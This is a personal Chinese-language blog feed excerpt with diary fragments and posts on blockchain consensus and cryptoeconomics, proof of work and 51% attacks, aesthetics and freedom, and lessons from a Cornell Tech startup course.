  • 事实是,那些没有经常改主意的人相当低估了这个世界的复杂度(当然也可以说是丰富性)。
  • +
  • 【剧本】你说要善良,要微笑。而我在想,要活着。
  • +
  • 凯恩斯主义:认为即便是像大萧条那样严重的经济衰退,只要政府愿意加大开销,也可以被轻易克服——经济失灵不是因为政府的设计出了问题,恰恰是因为自上而下的力度还不够。

    +
  • +
  • 科技以人为本

    +
  • +
  • ai创作艺术,重点不在艺术,而在于通过创作让我们更了解ai
  • +
+

2019-05-09

    +
  • 以前的物理理论认为,只有能量最低时,系统最稳定,否则系统将消耗能量,产生熵,而使系统不稳定。耗散结构理论认为在高能量的情况下,开放系统也可以维持稳定。例如生物体,以前按照热力学定律,是一种极不稳定的结构,不断地产生熵而应自行解体,但实际是反而能不断自我完善。其实生物体是一种开放结构,不断从环境中吸收能量和物质,而向环境放出熵,因而能以破坏环境的方式保持自身系统的稳定。城市也是一种耗散结构。
    +

    1977年诺贝尔化学奖。耗散系统。

    +

    一个高能量的系统要维持秩序和稳定,必须要开放。

    +
    +
  • +
+

2019-05-08

    +
  • 我受惠于这个善意,和我被反面所伤害。最后都是为了同一个目标,它们会有区别吗。
  • +
  • “大环境的竞技化和专业化不可逆。建立自己的人才梯队才是关键。而用更高级别的比赛,更专业的对手来奖励专业辩手。海鼎杯是我和周峤学长的一次尝试,试图通过淡化单场胜负的循环积分赛,让院队去承担培养人才的职能。”
    +

    是为了赢而且机会稀缺才有了这种想法。那么就弱化积分的意义,

    +
    +
  • +
  • 【快手】只要这个人愿意和世界分享自己,它就值得被给予机会。与结果主义和精英主义。与他们扎根心里的“不值得”,永远做对抗。

    +
    +

    平台不给普通用户的原因是因为注意力的稀缺并且为了更高的效应。那么就弱化注意力而提供更好的匹配。「热门」这个东西更多是一种“社会资本”,你知道了这个东西,你才能够和别人谈论,但最安全的做法就是主推明星、大V的内容。但不一定匹配。因为每个人在自己的社交圈子里并不一定需要这些不相关的社会资本,他们不一定就那么关心娱乐圈。匹配算法做到的就是,没有那么依赖于流量的证明,而使得真正有共鸣(另一套标准,但是在人性中带来更高的认同感的标准)的人能够相互了解。

    +

    【产品观察】比如双生日记能够做到的是:匹配那些有相似问题,相似困境的人。让他们相互鼓励,相互伴随。

    +
    +
  • +
  • 【思维】momentun的思维。你近期学习关注的内容,你的所长在其邻近领域是有momentum的。适合趁热打铁收拾一下。

    +
  • +
  • 广州、深圳 airing
  • +
  • 对AI的依赖某种程度上意味着对UI的解放。语音以及ai assistant将很多ui流程压缩了,甚至谷歌做到了系统级别跨应用的调用,这样app的重要性其实是降低了因为过程被自动化了,我们不必打开app进入应用的语境完成事情。
  • +
+

2019-05-07

    +
  • 讨论提到的几个有意思的点,一是长远来看比特币价格究竟会不会和挖矿成本持平,二是其价格定价和波动与普通货币乃至黄金有什么区别。我认为这里有个tricky的地方,挖黄金、铜的成本不会因参与者的数量而发生明显变动,因此它的价值的溢价是由其稀缺性(市场需求)决定的是没错;但对于比特币参与的人越多难度越高,也即成本越高。即使存在稀缺性带来的附加值,长远来看会因为吸引更多的算力竞争而抹平;同理如果比特币价格低于挖矿成本时,也导致理性节点退出,算力下降使得成本也下降对标价格形成平衡。再一点,黄金存在溢价也是因为其主要功能是价值储存,而不参与货币流通。但是比特币的主要功能是货币流通,保证交易完成,其流动性使得需求和供给端能够更快的达到上面所提到的平衡。那些把比特币当作价值储存的也就是炒币的囤在那里,这部分人越多会越影响流动的比特币的价格,也因此会每十分钟新出12.5btc来提高通胀率抵消这个影响。

    +
  • +
  • 有一个冬天我把信埋在雪里。深蓝色的雪。

    +
  • +
+

2019-05-06

    +
  • 毕业的意思:我的回忆里有你温和的气候。
  • +
+

blockchain复习

    +
  • phase king和dolev strong都是BA。BA的意思是最终reach到同一个行动(可以是好或者是坏的,但是必须都达成一致。)actors must agree on a concerted strategy to avoid catastrophic system failure, but some of the actors are unreliable.
  • +
  • (a) terminate within finite time, (b) (consistency) have all honest nodes reach the same result, and (c) (validity) if the leader is honest, then the value agreed by everyone should be the leader’s value.
    [image:7FFD4DAB-C9FF-475F-B062-39037E021979-66186-00001799F71A64AA/E207E4E8-282D-4AFC-9F3A-58CA430DD8EA.png]
  • +
  • consensus:Paxos和Raft。
  • +
  • re-entrancy: functions can be called repeatedly, before the first invocation of function is finished. 防止方法:make sure you don’t call an external function until you’ve done all the internal work you need to do。
  • +
  • front-running problem.
  • +
  • integer overflow in smart contract.
    Known Attacks - Ethereum Smart Contract Best Practices
  • +
  • Favor pull over push for external calls
    External calls can fail accidentally or deliberately. To minimize the damage caused by such failures, it is often better to isolate each external call into its own transaction that can be initiated by the recipient of the call. This is especially relevant for payments, where it is better to let users withdraw funds rather than push funds to them automatically.
  • +
+

2019-05-04

    +
  • 云雀。类似路奇的造型,停在肩头。个人的随身直播入口。内容的形式本身也是一种设计(短视频极大地降低了对创作者创作能力的要求)。就是专注在简短视频的拍摄和实时传输。关注一下大疆的项目。
    +

    airpod的市场奇效:运动员。

    +

    snapchat: fastest way to communicate. 其实不是的,snapchat的作用是在这里我看得到你最真实的生活,最及时的动态。snapchat追逐的应该是更新频率和真实。

    +
    +
  • +
  • 【想法】Hello potential research collaborator! - HackMD 一个wiki系统,里面记录了blockchain方向上的一些在研究的话题,每个人都可以修改。
  • +
  • 为什么ads-tech\pub-tech不再性感了,也是因为paradigm shift,这个时代的入口是移动端,而移动端的ads\pub都被平台级的应用垄断了。
  • +
  • ✍️ 为什么移动端再也没有出现类似互联网那样的基础设施,为什么移动端会倾向中心化的入口?还是说其实这个入口是去中心化追求效率的结果,只是刚好对应了移动端普及的事件。
  • +
+

Vitalik演讲:crypto economics.

+

也是我今年感兴趣的目标。crypto加密货币和economics经济学的结合。他们给了我相比cs不同的工具。而文学则是给了我不同的触觉,以及和自己达成和解的能力,以及为什么。

+

crypto:
crypto的作用,类似time capsule时间胶囊,能够证明过去发生事件的真实性。而economics的作用,则是通过设计的激励,使得这些真实性能够在未来被证实。

+

以chain的形式,保证了consistency。blocks里有timestamps, nonce, previous block hash, transactions.

+

signatures: 验证sender’s authority。比如RSA,DL(one pair keys)或者DH key agreement(multiple pair keys)

+

hash的主要作用:[1] 保证了信息之间的拓扑顺序。 [2] 创造了merkle tree的结构,结果是你可以通过small piece of data来验证更大的数据。也使得可以存在一个light-way的client protocol,让用户只验证包含自己transaction的block。

+

bitcoin mining vulnerbility的源头:rewards are marginally long-run zero-sum。

+

zero-knowledge proof: 对proof的证明远方便于对原始属性的证明。也因此,证明你是你,或者说你有你的private key,我其实并不需要去看你的private key,而是可以通过间接大量的结果证明来得知你是你。

+

economics:
tokens: incentivize actors by assigning them units of a protocol-defined cryptocurrency,比如 block rewards(目前是12.5 BTC).
privileges: incentivize actors by giving them decision-making rights that can be used to extract rent. 有privilege的地方就存在bribe.比如交易费。
crypto security margin: 破坏系统的成本。也就是对于每个系统的人,要么去满足一个假设,要么去破坏但是破坏的代价是你会比你遵守规则至少失去(或者缴获)了X。X越大,这个系统就越安全。 也就是一种思维的转变,很多时候我们其实不需要绝对安全的系统,我们只需要当他们破坏这个系统的成本足够大的时候即可。

+

p+epsilon attach,可以改变用户的行为通过修改奖惩机制。通过零成本,以及相匹配奖励的预算。【剧本】未来的赌博。而这个p+epsilon是可以通过众筹得到的。这个针对coordinated game特别有效。也就是,如果你和majority一样你可以获得奖励。一个例子,就比如blockchain的mining,只有加入了main chain你才能得到rewards,不然就是orphan block.

+

POS,deposit,一旦出现fault就会把deposit拿掉。因为依赖penalities。为什么POS的security margin高于POW,因为POW里,miner都是匿名的,激励方式是奖励他们,而在POS里是有penality存在。

+

ethereum smart contract适合all data is publicly accessible的场景。一些线下的仲裁是很难直接access到信息的,比如究竟这个人究竟有没有做这件事。从某种意义上,这也完全的适合internet。

+

Introduction to Cryptoeconomics - Vitalik Buterin - YouTube

+
+

2019-05-03

    +
  • 除了商业,我不会对生活说值不值得。
  • +
+

2019-05-02

farewell

we reach the consensus, well in a decentralized way, that we are here to learn. we learn a lot from David Tisch, the man who has successful exits on PillPack, Flatiron, Vine and GroupMe is truly the man, he has something. Even though we feel sometimes he being harsh on us. the other time, like panel sessions, when you see him standing in front of you, speaking for you, and squeezing out every bits from the incoming guests, you just feel safe, and somehow reliable, you know, the image of strict but caring dad.

+

We also learn a lot from the other amazing group, skyhawk, otari, lightbox, auggi, and so on and so on. If you give me time, I can name every team.

+

It gives me a feeling that, everything has a reason, has a design principle behind it and as long as we deeply trust the principle, that’s how we impact other people and make a difference.

+

lastly, we learn a lot from building firis itself. it gives me an impression that, it truly doesn’t matter that current milestone we’ve achieved. what matters is the people standing or sitting beside you. And you understand that some of them will become your lifelong best friend. and as long as we are us, probably in the future, in the other time zone, in the other country, we can build another amazing thing, or even more amazing products together!

+

Friends and their understandings or their willingness to understand me. Is all I got from the journey.

+

lastly, i receive the best entrepreneurial education from my life at here. thank you cornell tech.

+
    +
  • 正是因为你们不理解,我才得以自由。
  • +
  • ✍️ 回到了那个话题,也是startup studio最后一堂课上提到的话题,give people fake happiness,究竟有没有创造新的价值。
    +

    这是每个新时代的企业家,尤其是做注意力经济的,必须思考的问题。

    +
    +
  • +
+

今日头条、抖音的定位是kill-time,是没有价值的,定位在娱乐领域。是容易被高估的。没有创造新的价值。

+
+

相比微信公众号,其实他们完全不在一起竞争。去看公众号的人,追求的是对质量和全面的报道,而看今日头条的人群是追求快和新。今日头条取代的是微博。所以结果是:
自媒体把其他平台的运营流量最终都要最终导流到公众号来。
而头条类产品最终都会把流量导流到其他地方去。

+

如果在同样的平台里有快和爽的内容,为什么用户会去选择长而难的内容。这就是头条做不好订阅号的原因。

+

场景的定义。要找到最适合的方式。因为订阅号的场景不适合新闻。如果需要做订阅号,需要讲一个更大的场景,比如点评,辩论时评等等(带上了个人色彩,具备social status as a service的前提)。

+
+
    +
  • 快手的机遇

    +
    +

    用户场景,决定了最适合的商业化方式。基于人的社区互动以及直播,有效地解决的是信任问题。而此场景,将给基于信任的商业模式以极低的运行成本,比如:订阅制,期货交易,乃至类似Patreon的粉丝经济,都是些值得探寻的方向。

    +

    抖音的social status as a service的难度会不断升高。把审美当作一个固定方向是有问题,因为审美指向的不是高低,而是复杂。

    +
    +
  • +
  • 快手分发机制

    +
    +

    短视频,是从形式上降低了对用户表达能力的要求。长视频必然是精英化的,因为传达一个完整的、精美故事的能力是稀缺的。

    +

    以及,一定要保证每一个人都有自己的领地,也一定要让他们被看到。

    +

    对直播的克制在于,清晰地了解到直播并不是日常生活的常态,也不是让用户构建社区关系的常态,只是一个能够拓展社区关系的工具。

    +

    关注一个人(右上角)是一个非常难的操作。

    +
    +
  • +
+]]>
+ + + + + + + + + + + + + + + +
+ + + <![CDATA[再看区块链的分权设计细节]]> + + http://chocoluffy.com/2019/05/21/再看区块链的分权设计细节/ + 2019-05-22T03:11:31.000Z + 2019-09-21T14:30:39.244Z + 《The Book of Satoshi》的读后感。我为什么觉得加密货币经济很吸引人,因为它实际上是在从机制设计这个角度在挑战人性里最难克服的一部分:马太效应。

+

尽管加密货币对安全性的高要求可能是对商业环境上的一个不合理的假设,而导致未来的一段时间可能很难看见具体的消费者场景1,但它对我们社会依旧有意义,因为它其实是在尝试提出一种分权设计的思路。

+

以下拿Satoshi的区块链和比特币来举例。理解一致的公开账本(global timestamp byzantine problem)以及支付验证(digital signature & hash chain)是如何通过分布式的实体来实现的,是区块链的精髓。因为如果这些操作是由一个中心化的实体完成的,那么这个故事本质上和银行没有什么区别。而这马上带来的另一个挑战就是,如何设计规则去激励或者惩罚他们,使得分布式节点在有可能共谋,甚至还未存在(未来才加入)的情况下,依旧能达成共识。

+

Satoshi提出的方案是proof of work。2 这利用了一个强制的办法:谁付出的work(时间)多,谁就是历史。换言之,谁付出的成本高,谁就是历史。这个思路可以有效减少攻击者的发生。3 同时创造出一个集体共识(global timestamp)。而同样,我们也会去奖励付出了工作量的矿工,比特币的价值最终会趋向于付出的成本,也间接反应了参与人数和当前的难度。任意一个规则的执行者也就是矿工为了平衡他们pow的支出会流转起他们得到的比特币,这也保证了比特币作为货币不会垄断在「规则执行者」也就是矿工的手上。和「资源持有者」的身份不会构成重叠。

+

任何一个腐败的系统去追溯他们的源头可能都来自于官商勾结,在于制定规则的人成为游戏的最大玩家,而形成后来者难以破除的垄断关系。而pow带来的是另一个思维,任何的后来者都能够几乎平等和所有先前加入系统的人平等竞争(permissionless & memoryless),仲裁者匿名且没有固定身份。

+

尽管目前的市场被大量欺诈性质的ICO所干扰,我依旧坚定看好,也期待着加密货币的前景。新事物的流行往往都会经历「投机阶段」和「实用主义阶段」。投机,是一个快速积累资本和社会共识的过程,无论这个资本是社会资本(social status)4 还是金融资本。而为了迎来加密货币的实用阶段,我们需要给予这项技术于时间,于土壤。土壤这个比喻其实是很重要的,理解哈耶克的经济理论5的一个关键是理解他认为市场是作为一个”园丁”的隐喻。园丁只是负责剪枝,松土,不是拿那些条条框框去约束它,而是让这个市场自然地生长,里面的信息信号充分的自由流动。

+

针对后续有读者提出“矿场被垄断,接近51%的算力被垄断”这个观点,我是这么回应的。

+

的确算在算力垄断接近51%的情况,但这个优势并不会阻碍后来人入场的机会呀,这个讨论更多是在于能和不能之间,而不是擅长和不擅长,大型机构的确在规模上更容易控制成本,但是这个系统并不会阻碍任意一个后来者进入系统,这个「是否能加入系统的能力」是及其重要的;相比其他机制设计比如proof of stake,为了节约资源而重新转向了基于authority的规则就和政治上的世袭没有太多区别了,后来者不再拥有加入的机会。

+

在进入擅长和不擅长的讨论之前,我们更希望把社会从不能到能的过渡。

+

同样我们需要对「垄断」和「作恶」要区别开来。在pow这个机制下,垄断算力并不代表作恶。

+

即便拥有了51%的算力,攻击者基于自己的利益依旧会选择维护这个系统,而不是选择去攻击它。这是和我们通常意识里的“垄断”是很不同的,矿场的产生更好应该被当作是维护者,而不是决策者。原因:【1】攻击者即便拥有51%算力也只最多只能够改变自己的交易历史形成double spend攻击,而无法改变别人的,因为没有别人的私钥 【2】基于51%的算力,维护当前的系统也就通过继续挖矿所得到的利益远大于攻击这个系统需要重写整个分链历史的成本。

+

垄断,指资源的集中,但也同时给予了垄断者潜在利用这个系统作恶的机会。但这个机会不一定会被执行出来,也就是我刚刚提到的,「垄断」不等于「作恶」。因为在这个规则下作恶的成本远远高于资源持有者维护现有体系的成本。

+

而一个系统的安全性可以这么衡量,去破坏但是破坏的代价是你会比你遵守规则至少失去(或者缴获)了X。X越大,这个系统就越安全。这也是一种思维的转变,很多时候我们其实不需要也不可能有绝对安全的系统,我们只需要当他们破坏这个系统的成本足够大的时候即可。

+

  1. 1.目前的应用大部分是基于quorum的公司私链,比如JP Morgan coin。
  2. 2.相比Vitalik的proof of stake,但pos本质上不具备pow的开放性。先发者容易获得天然优势而垄断token。
  3. 3.启发于hashcash的发明。也符合进化学现象,见Handicap principle。
  4. 4.social status as a service.
  5. 5.加密货币的提出接近哈耶克的“货币去国家化”的假设。理论的核心在于“货币的稳定性”,而比特币由于供给按严格速率支配,在市场需求稳定后,能够成为比黄金更稳定而不受政府管制的价值存储媒介。
]]>
+ + + + + + + + + + + + + + + + + +
+ + + <![CDATA[我没有绝对的害怕,也不必须微笑。]]> + + http://chocoluffy.com/2019/05/12/我没有绝对的害怕,也不必须微笑。/ + 2019-05-12T20:59:11.000Z + 2019-09-21T14:30:39.244Z + 什么是自由?

+

我也到了一个时刻,需要对这些问题有自己的想法了。1

+

自由有很多语境。不同语境下的自由意味着不同的东西。这里想分享一个从媚俗和审美的角度出发理解自由的角度,以及为什么艺术和文学能够帮助我们维护自由。

+

布罗斯基说,“一个个体的美学经验越丰富,他的趣味就越坚定,他的道德选择就愈准确,他也就越自由,尽管他有可能愈是不幸。”

+

关于美学的培养,并不是为了保证你能够创造出杰作,而在于,为了防止恶。甚至我们可能并不是对抗邪恶,而是徘徊在正确和另一种正确之间,面朝着的是生命和另一些生命。

+

或许没有那么的绝对,没有那些黑白分明、不容分说,便是自由。我没有绝对的害怕,也不必须微笑。我可以哭,可以否认,可以绝望或者平和,但是里面每一种情绪都不是条件反射。我得以解构,却也看得清我重建的理由。

+

存在很多快餐趣味,尝试将直接感官的满足,来合法化逻辑。这种诱惑是难以抵抗的,他们拿着满意的结果来自证逻辑。就比如布罗茨基提到的,谈论明了之事的缺点在于,这样的谈话会以其轻易、以其轻松获得的正确感觉使意识堕落。这也是这些话题的诱惑。他们忽略了为什么的讨论,忽略了伦理,直抵结论。

+

他们在用美学的感受,来替代伦理的解释。2

+

人们很难去质疑感动的意义,快乐的意义,因为这是费力而荒谬的。然而能够克服直觉感受的诱惑,才是自由。

+

艺术和文学在用想象力来自证,而非直接粗暴的感官刺激,而这同样意味着,艺术、文学它不必令人快乐。

+

我相信3,审美是可以被教化的,尽管这个过程很难。可为什么我们想要相信美好的东西必须很轻易地感受的到。我曾经写过,审美是没有高低之分的,审美指向的是复杂。我们也同样需要训练去接受这份复杂。我们需要引导,如何接受自己的想象力,也愿意去接受别人的。

+

这条路没有终点,因为人们总会沉默。

+

  1. 1.这些想法主要启发于布罗斯基和米兰昆德拉的作品。
  2. 2.是什么,是一个美学感受;而为什么(或者说:应该是什么),则是一个伦理的回答。其实现在很多的辩题都可以看作是这两个角度的交锋,究竟是维护现实尊重感受和结果,还是追求原因去探寻伦理的指向。
  3. 3.这同样也是乔布斯认可的观点,见《乔布斯传》中描述乔布斯经常与其妻子争论这个话题。
]]>
+ + + + + + + + + + + + + + + + + +
+ + + <![CDATA[Startup Studio结课总结]]> + + http://chocoluffy.com/2019/05/02/Startup-Studio结课总结/ + 2019-05-03T00:21:04.000Z + 2019-09-21T14:30:39.240Z + 在Cornell Tech这一年里最有收获的几堂课之一,由David Tisch主讲的Startup Studio就这样结束了。其实很多时候并不是在评价这门课本身的好坏,而是在于它创造了一个和其他优秀小伙伴组队的机会,并且设置了一个高难度的关卡,而在整个过关的过程里,你不断暴露出缺点也不断改进,最终学习到这个关卡目标所代表的意义。如果关卡是一份作业,那么你学习到完成这个作业所需要的知识仅此而已,而在这里,这个关卡是学习创立一个公司,从零到一。仔细一想,这个逻辑其实也解释了学校,而非教育,的意义。The best education comes from inside, only.

+ +

Startup Studio final presentation - 19.4.30

    +
  • 作为创始人,要习惯别人给你提意见。尤其是类似投资人的意见。要深刻的明确这一点。投资人之所以投资你,是在赌你对这个行业的认知比他自己要高。因此很多时候投资人给的建议其实是从其他类似的项目里借鉴过来的。一定要有主见。最忌人云亦云的沉默。
  • +
  • 学会如何respond to people who offer help. 也同样明白所有礼物都暗自地标好了价格。
  • +
  • 很多问题很tricky,比如“你觉得有什么投资上的趋势?”,在暗示限定你去考虑“趋势”,但实际上真正的投资人只看关键的metrics和termsheet。“趋势”的作用不过是告诉你需要给哪些东西多留一些注意力去过滤噪音罢了。
  • +
  • 和投资人打交道整个过程所学到的,不过是如何让别人觉得自己有趣,让别人feel better。
  • +
  • David Tisch认为最有价值的一个领域:VR+教育。
  • +
  • 同时认为目前的AR game非常的stupid。目前许多的AR项目,还没有实际的功能,没有解决实际的问题,能和投资人提到的不过是this game is fun。而这同样意味着如果投资这个项目,那么这个项目的发展就是成为一个more fun的game,而并没有解决任何问题。
  • +
  • 他认为未来2-5年一个可靠的趋势是:understand & sense environment (我感觉他在暗示IOT)。
  • +
  • VC的目的只有一个,make money。这驱动了他所有的决定。而相反这也是他拒绝任何一个项目的理由。而项目里明显的缺点将会成为那个挡箭牌式的借口。比如:lawsuits。
  • +
  • 错失投资wework给了他一次印象深刻的教训。但是他后来回顾的时候发现,每一次他去wework就会觉得这个公司amazing,虽然事后都会冷静下来觉得这个模式是shit。(其实也应证了马库拉给乔布斯的三条建议,前两条共鸣和专注很容易理解,最后一条叫“灌输impute”,就是这个意思。)
  • +
  • David Tisch BoxGroup VC on Missing WeWork, Peloton, Via, And More | Fortune
  • +
  • ✍️ 关于free will。但是有game-changing的诱惑(这里的game值得是博弈平衡的game)。仍然是自由意志,但实际上没有选择。
  • +
  • facebook并不evil。因为facebook给了选择,某一些人群会在接受中获得“快乐”。
  • +
+

VC panel 2 (seed round) - 19.4.23

    +
  • read founder,play different game。目的:为了获得control,由始至终把游戏掌握在自己的手里。
  • +
  • david:记得一个出发点,VC看的是return profile。因此在presentation的时候要让他们看到vision。很多small company活的很好,比如SaaS的,但是没有vision,vc没那么感兴趣。
  • +
  • 很有意思的观点,david: “every company is under-funded. money is not evil, what mess it up is shitty founders and bad decisions.”
    反对的理由:gun。and chances are the more money you pour into the founder, the less creativity you will see. You don’t need to optimize anything because you have enough resources to do all sorts of stupid things.
  • +
  • VC这个行业不一定是更多钱,或者更富有了,而是具备了更高的流动性。
  • +
  • 【创业】trend:local。
    +

    想起来在OCE会议上见到的app。local的fashion直播,全屏显示,左右滑切入店员直播。

    +
    +
  • +
  • 他们感兴趣的领域:
  • +
  • synthetic reality\media(voice)
  • +
  • local
  • +
  • 不感兴趣的领域:(记住他们的出发点,他们大部分投的是seed\pre-seed)
  • +
  • pub-tech(tech for publishers)
  • +
  • ad-tech
  • +
  • market-tech
  • +
  • health tech (整合sales is hard)
  • +
  • trend: VC shift into earlier stage。
  • +
  • 直到目前为止,最优质、一手的信息源仍然是英文的信息源,而不是中文。要建立自己获得信息的体系,而不是纠结在单个信息的质量上。,比如,演讲当天之前luckin的IPO才出来david就已经知道了。他说他需要研究这些模式,使得当US出现了这些类似情况的时候他能够辨认的出来。
  • +
  • paradigm shift。uber的实现给人们的思维带来了一种改变,也就是当你在手机上点击一下,现实生活会发生一些改变。这是uber的意义。
  • +
+

VC Panel 1 (general VC) - 19.4.16

    +
  • 想法总是cluster出现. next generation of cookware.
  • +
  • find new vc firm。for you。和你一起成长。
  • +
  • good firm invest shiity company。difference at win。
  • +
  • 之前是他一直对我们凶。现在有他在我们前面。
  • +
  • angel not angel anymore。天使投资人的含义变了。
  • +
  • 有些时候团队fight起来反而是他们相互尊重的方式。
  • +
  • 【情商】在panel的最后,女vc说其他的venture课都是bullshit,david是真的为学生着想。感谢主持人。让在场最大牌的嘉宾舒服。通过女vc的阐述知道她的主要职责,通过networking找到感兴趣的项目pass给她身后的partner。和其他vc保持好的关系是非常重要的。圈子很小。
  • +
  • diversity does not equal to female。多样性不仅仅只表示女权主义。
  • +
  • 暖场问题:facebook is evil? google is evil?
  • +
+]]>
+ + 在Cornell Tech这一年里最有收获的几堂课之一,由David Tisch主讲的Startup Studio就这样结束了。其实很多时候并不是在评价这门课本身的好坏,而是在于它创造了一个和其他优秀小伙伴组队的机会,并且设置了一个高难度的关卡,而在整个过关的过程里,你不断暴露出缺点也不断改进,最终学习到这个关卡目标所代表的意义。如果关卡是一份作业,那么你学习到完成这个作业所需要的知识仅此而已,而在这里,这个关卡是学习创立一个公司,从零到一。仔细一想,这个逻辑其实也解释了学校,而非教育,的意义。The best education comes from inside, only.

]]> + +
+ + + + + + + + + +
+ + + <![CDATA[碎语 2019 Apr.]]> + + http://chocoluffy.com/2019/05/01/碎语-2019-Apr/ + 2019-05-01T23:56:29.000Z + 2019-09-21T14:30:39.248Z + 2019-04-30
    +
  • 削弱意义的方式:放到大庭广众的面前。
  • +
  • spark: email delegation. assign to somebody and set deadline(choose to follow all updates or only it get done). model: allow 10 active delegations per team, otherwise pay premium
  • +
  • “我喜欢普鲁斯特,只有他会把弥漫花香、烛光和人声低语的冰凉夜色比喻成水晶花瓶底部凝结的雾气。”
  • +
+

Firis

    +
  • “next-generation visual entertainment creation.”
  • +
+

the book of satoshi

    +
  • 理解public ledge以及payment authorization是如何通过分布式的实体来验证的,是区块链的精髓。因为如果这些操作是由一个中心化的实体完成的,那么这个故事本质上和银行没有什么区别。分布式马上带来的一个需求就是,如何去激励他们,这些分布式的个体。
  • +
  • 区块链是如何解决公地悲剧的。一种代表这个体系价值的token,也就是bitcoin。bitcoin目前负责的是支付,同样承载其他功能也是可以的。这种设计使得,如果体系中的人愿意去破坏这个系统,那么他自己的利益也会被伤害。-> 而由此可以导出,他没有这个利益关系去reject别人的valid solution。 以及可以authenticate别人的solution验证(PoW的结果如果是正确的即可入链)。
    +

    因为区块链的博弈设计里,纳什平衡的奖惩矩阵里,相互背叛的成本很大,但是共同尊重这个目标可以惠及每一个人。不同于囚徒困境里大家相互背叛的获益是最高的,我们作为这个制度的设计者,目的就是改变这种奖惩矩阵。

    +
    +
  • +
+

51%最多的伤害也就是创造自己的double spending(不过会伤害整个货币的integrity),因为无法伪造别人的电子签名。但是在拥有了那么算力的时候,创造double spending的收益比不上用来挖矿。通过在真实的链上花钱,然后不记录在自己的私密链上,同时需要保证自己的私密链是最长(longest\heavist)

+
+

因此对于体量小的chain,51% attack会更容易出现。也实际上出现过。

+
    +
  • 动态根据接入系统的节点数量平衡难度,保证区块生成的速度是稳定的。不同生成新的bitcoin是有一个假设,即用户的需求也在以固定的速率提高,使得保证价格稳定。当需求提高过快的时候,区块链的价值就会增高了。
    政府解决赤字的方法:印钱(使得钱通胀贬值而赤字也贬值了),向同种发放债券借钱,以及税收。政府喜欢通过印钱来解决这个问题,因为这容易掩人耳目地达成目的。向公众发债券容易导致银行利率上升,提高税收导致民意反抗。但是他们都不去思考那个问题:解决赤字的方法只有一个就是减少花销。
  • +
+
+

2019-04-29

    +
  • 在这个体系之中,最大的好处,其实不是你究竟直接获益了什么,而是你能够摸清楚信息的流动。哪些才是真正有价值信息的源头。于是能够给自己建立一个成长的机制。
  • +
  • teach people how to hack code is the best way to teach them to create safe code.
  • +
  • ✍️ 为什么微信公众号早期不做一个聚合推荐?
  • +
  • 🌟从序列升级到图,来训练embedding。
  • +
  • 【创业】基于目前大量的视频存量的项目想法
  • +
  • 比如firis。改造。
  • +
  • 比如基于video的建站服务。你的名片。(和快手的真实风格相补充)
  • +
+

2019-04-28

    +
  • 压缩的算法。视频的压缩。基于语义理解,只将最重要的部分以高质量传输。包括图片压缩,将不影响理解的部分压缩。
  • +
+

2019-04-27

    +
  • b2c重点在流量。c2c重点在信任。为什么抖音进军美团点评市场;而快手进军58交易。
  • +
  • “第一是建立体系而非目标,比如不是建立一个目标说自己要成为作家,而是建立一个能让自己从菜鸟变成作家的体系,在这个体系中你会养成习惯,慢慢进步。”
  • +
  • 【创业】大部分的工业艺术作品(比如电影),都是在针对单个的完成度目标,而不是一个工具!有没有可能, 把创意阶段的权利交回给用户,我们仅仅负责后面的渲染和闭环。
    +

    将制作能力标准化。这个想法类似的是,用户自定制鞋子这个想法。

    +
    +
  • +
  • 这个时代根本就不缺想法。
  • +
  • 如果生活本身就是荒谬的,那么过分清醒才是疯狂。疯狂的是,那些愿意接受生活的样子,并满意地退坐在那里,而不去想想它应当是怎样。
  • +
+

电子货币意味着金融的解耦

    +
  • 区块链的全面到来还没有那么快。更多的应用其实更像是在私域货币转换的使用,而不是全面铺开。因为人们还没有准备好承担去中心化的风险。
  • +
  • crypto世界里是没有chargeback的。即便发生了fraud,所有的transaction都是final的,是不可篡改的。为什么信用卡手续费会那么贵,因为实际上我们需要给银行机构提供承担风险的服务费。因此crypto将安全性的责任交回给了用户,或者是他们的钱包提供商。
  • +
  • 而这种reversibility,可逆转性,实际上是强制的,也就是bundling service。和每一笔交易绑定在一起。而crypto就是这样的一个unbundled的服务。这也是为什么给一个人发$0.1和$10M是同样的花销。
  • +
  • bundling is good for seller, unbundling is good for customers. 而商业模式演化的一个趋势是,很多曾经是bundling的服务,会逐渐成为unbundled的。
    +

    这个趋势其实很好理解,就是一个不断打破垄断的过程,一个持续抵抗unbundle的bundle是垄断的一种讯号。

    +

    钱,我们用的货币,实际上也是一种垄断。我们使用的货币应当也能够成为一个自由市场。而比特币是第一个非主权支撑的货币。而crypto只是希望提供选择的权利,我们同样可以提供reversible的服务,但是请让他们和irreversibile的compete。

    +
    +
  • +
  • 【剧本】保险:承担风险的服务费。
  • +
+

ECE autonomous intelligent system - daniel lee

    +
  • consensus的意义是。去适应个体的能力的局限。即,你不需要拥有最远距离的sensor距离,但同样可以知道远处关于球的位置,由你的peer传递给你的。
    +

    但我们应该是适应,还是去教化。

    +

    甚至很多的辩题本质上也是这一类问题的变式。比如现实就是这个样子了,我们是不断地去承认现实的意义,去维护他们的安全感,还是认为现实理应有另外一个样子,应当改变。
    反驳的角度:因为生活本身就是荒谬的。

    +
    +
  • +
  • 【精华】consensus中同样可以传递higher order stats,比如关于方向、timestamp等等的信息,然后在node本身进行进一步的推算,来提高实时性。(并不需要最准确实时的数据stream,可能受硬件的限制!)
  • +
  • 【精华】在有adversarial的环境里,optimal strategy is not deterministic。pure nash equilibrium可能没有纳什平衡,但是对于mixed strategy的环境,至少存在一个nash equilibrium。
  • +
+

2019-04-26

    +
  • knowledge overload(information overload)容易给人一种虚假的成就感。
    +

    这恰恰是目前知识付费的营销点。

    +
    +
  • +
+

管理

    +
  • 像一直职业球队一样管理。8:30准时集合开会。给队友足够的尊重和信任。
    +

    没有任何一支职业球队会告诉你,“你觉得方便的时候就来训练吧。”

    +
    +
  • +
  • durability instead of the growth。 我们不会那么在意成为增长最快的公司,我们想要成为最后一个。
  • +
  • 最好的人不是买过来的,是吸引过来的。我们不会成为给你最多报酬的公司,但是我们承诺给你的报酬高于市面上80%的其他雇主。给最高报酬的公司只会招到报酬驱动的人。我们会努力培养最好的学习环境,给你最有野心愿景和最前线的战场。我们用我们的诚意吸引人才。
  • +
  • it’s hard enough, but it’s still possible to succeed.
  • +
  • ”Efficiency is what lazy people aspire to. Leverage is what we do.“
    +

    效率,是聪明但是懒的人想出来的办法。它意味着一个固定的目标,你通过减少你的努力去达到它。我们追求的是leverage。同样的努力,我们希望达到10x的目标。
    Competition is for Losers with Peter Thiel (How to Start a Startup 2014: 5) - YouTube

    +
    +
  • +
